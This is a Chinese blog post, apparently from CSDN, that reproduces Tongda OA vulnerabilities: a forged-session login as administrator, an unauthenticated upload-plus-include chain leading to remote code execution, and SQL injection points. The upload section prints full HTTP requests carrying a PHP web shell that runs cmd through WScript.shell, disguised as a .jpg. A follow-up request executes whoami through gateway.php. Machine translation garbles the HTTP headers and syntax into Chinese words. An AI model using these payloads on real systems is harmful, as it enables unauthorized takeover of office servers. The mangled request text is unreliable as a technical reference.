html sql注入_通达OA前台任意用户登录,文件上传和文件包含,SQL注入复现

本文详细分析了通达OA系统的几个主要安全漏洞,包括前台任意用户登录、文件上传与包含导致的RCE(远程代码执行)以及SQL注入问题。攻击者可以利用这些漏洞以任意用户身份登录,上传恶意文件并执行代码,以及进行SQL注入攻击。针对这些问题,文中给出了漏洞复现步骤和防御建议,包括文件上传和包含的验证加强以及SQL参数过滤等措施。
摘要由CSDN通过智能技术生成

b87b6f9cf5ec407400b1d32edf2bfd3c.gif

[size = 9.0000pt]一 系统介绍

通达OA是北京通达信科科技有限公司出品的“ Office Anywhere通达网络智能办公系统”。

突破概览       

进攻名称

影响版本

前台任意用户登录

通达OA <11.5.200417版本,通达OA 2017版本

文件上传,文件包含导致RCE

V11、2017版,2016版,2015版,2013增强版,2013版

SQL注入

测试11.5版

二,进攻复现2.1前台任意用户登录2.1.1突破描述

攻击者在远程且有权授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系统(包括系统管理员)

2.1.2漏洞复现

1)访问http://192.168.31.57/general/index.php?isIE=0&modify_pwd=0 ,提示需要登录

36b63eb611035ff6032b03f0d4295c65.png

2)使用poc生成PHPSESSID ,再次访问该网址并抓包,替换cookie中的PHPSESSID为用poc生成的。放包,成功以系统管理员身份登录。

5b8e21c268d7d679bdd4a5c37e7b8bfa.png

58bcd573377e93fd51f8b1ca9a415785.png

2.2文件上传,文件包含导致RCE 2.2.1伸缩描述

在受影响的版本中,攻击者可以在未认证的情况下向服务器上传jpg图片文件,然后包含该文件,造成远程代码执行。该漏洞无需登录即可触发

2.2.2漏洞复现

复现版本:11.3

突破利用链接:

任意文件上传漏洞  /ispirit/im/upload.php

本地文件包含漏洞  /ispirit/interface/gateway.php

1)访问http://192.168.31.57/ispirit/im/upload.php提示未登录

69b2b2bcc286112dc5fb650db576fba2.png

2)用burp抓包合并数据包修改成如下内容(ip替换为OA的ip)

POST /ispirit/im/upload.php HTTP / 1.1

主机:192.168.31.57

内容长度:655

内容类型:多部分/表单数据;boundary = ---- WebKitFormBoundaryBwVAwV3O4sifyhr3

用户代理:Mozilla / 5.0(Windows NT 10.0; Win64; x64)AppleWebKit / 537.36(KHTML,如Gecko)Chrome / 77.0.3865.90 Safari / 537.36

接受编码:gzip,放气

接受语言:zh-CN,zh; q = 0.9

连接方式:关闭

------ WebKitFormBoundaryBwVAwV3O4sifyhr3

内容处置:表单数据;name =“ UPLOAD_MODE”

2

------ WebKitFormBoundaryBwVAwV3O4sifyhr3

内容处置:表单数据;名称=“ P”

------ WebKitFormBoundaryBwVAwV3O4sifyhr3

内容处置:表单数据;name =“ DEST_UID”

1个

------ WebKitFormBoundaryBwVAwV3O4sifyhr3

内容处置:表单数据;name =“ ATTACHMENT”; filename =“ jpg”

内容类型:图片/ jpeg

$ command = $ _ POST ['cmd'];

$ wsh =新的COM('WScript.shell');

$ exec = $ wsh-> exec(“ cmd / c”。$ command);

$ stdout = $ exec-> StdOut();

$ stroutput = $ stdout-> ReadAll();

echo $ stroutput;

?>

------ WebKitFormBoundaryBwVAwV3O4sifyhr3-

修改完初始化数据包

4fa3952e6cbd3e6c3491eb0ae9662eb3.png

可以看到未登录情况下成功上传jpg文件

494e11456f51fdd9b84aceb481d5e00f.png

2)文件包含利用

访问http://192.168.31.57/ispirit/interface/gateway.php,POST给json赋值,指定键为url,值为文件位置,修改为数据包内容如下:

POST /ispirit/interface/gateway.php HTTP / 1.1

主机:192.168.31.57

用户代理:Mozilla / 5.0(Windows NT 10.0; Win64; x64; rv:47.0)Gecko / 20100101 Firefox / 47.0

接受:text / html,application / xhtml + xml,application / xml; q = 0.9,* / *; q = 0.8

接受语言:zh-CN,zh; q = 0.8,en-US; q = 0.5,en; q = 0.3

接受编码:gzip,放气

连接方式:关闭

内容类型:application / x-www-form-urlencoded

内容长度:70

json = {“ url”:“ / general /../../ attach / im / 2009 / 1251075309.jpg”}&cmd = whoami

可以看到,执行“ whoami”成功

4178e7a4a39c3b203742bb60e28f41af.png

2.2.3防御代码分

1)通达OA使用zend加密,需要使用SeayDzend工具解密,解密包含入侵的页面

10fa99a392a11e3b183e4741185ddea4.png

2)文件上传webroot \ ispirit \ im \ upload.php ,如下图,可以看到上传页面对参数P进行验证,如果P非空就不经过auth.php验证可以执行后续代码,利用以下逻辑突破可绕过登录验证进行文件上传

a102a8669cae8c41242c5d983ca53eb4.png

3)文件包含webroot / ispirit / interface / gateway.php,通过foreach循环解析json,如果键和网址替换,获得网址;判断网址是否为空,如果不为空且网址中包含一般/,ispirit /,模块/,就调用include_once函数。

可通过精心构造构造json进入47行的includ_once进行文件包含

9ac5dd0fb18bceee89ef4e0f97b583e2.png

2.3 SQL注入2.31进攻描述

复现版本:11.5

存在多处sql注入

2.3.2进攻复现

1)SQL注入1

登录-个人事务-日程安排-日程查询

cc2292761b8bb3c055e0fc0114deb365.png

fabe9608753a58b467c7f03b5e26fbe1.png

抓包并使用sqlmap测试,参数'starttime'存在注入

611572350f467181099890d6dbc5b77d.png

2)SQL注入2

应用中心-报表中心-报表管理-门店销售(选择统计表进行编辑)

694e6ebf83cb3cd06f810cb2e1c23b96.png

98ddf5e58e02e72bae142cfd910ebf5a.png

抓包并使用sqlmap测试,参数'id'存在注入

c0182b9d241380f1b7c69cc80321a801.png

注入点分析:

webroot \ general \ appbuilder \ modules \ report \ controllers \ RepdetailController.php中操作编辑函数中的$ _GET [“ id”]未进行过滤,直接拼接到sql查询中,进行sql注入

e33cea11bdd128ae9ab933887d5b9c66.png

[size = 9.0000pt]三,参考链接

https://www.cnblogs.com/yuzly/p/13602239.html

https://soapffz.com/sec/562.html#menu_index_2

https://mp.weixin.qq.com/s?__biz=MzAxMzg4NDg1NA==&mid=2247483732&idx=1&sn=062308df7b7ffaf8acb41837e5a703f1&chksm=9b9a8d8daced049b19601c978a98832a08026cefb373e161589db0a0f240ee2205b2d6ebba10&mpshare=1&scene=24&srcid=08225p4xVy6PekmCzfH26zpF&sharer_sharetime=1598138050981&sharer_shareid=b9872b429854cd9a0cc92c30f836e313&key=0a62b63f2856554913d4a4d0f5138fa2ccce483c5db895d5a284a8032f7f7f779d26bf1768b48eecfe3f85da5f7968346828cd498df8c41978242a7c0b687e5a96e6ac4a007890b8e11f7f39ae1b5e3e700aba28fd14e65eddb77806c364ab70d983e5f0fb32942d7f1678b1d236dea354d8ec9e0c2c35d192ea4471b9431b68&ascene=14&uin=MTQwNjQ0NjA2MQ%3D%3D&devicetype=Windows + 10 + x64&version = 62090538&lang = zh_CN&exportkey = AYZemAWNajo3ycraAwg9Bw4%3D&pass_ticket = HaEOXTn7KBAP7GEEWWyyy%2FW1kHjVOPvH5Ner3u2y5uzGHVMPL7PjhSTlE5RNNwx_header = 0

3d5f961a1cd3114cea61f81857a30bf4.gif

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值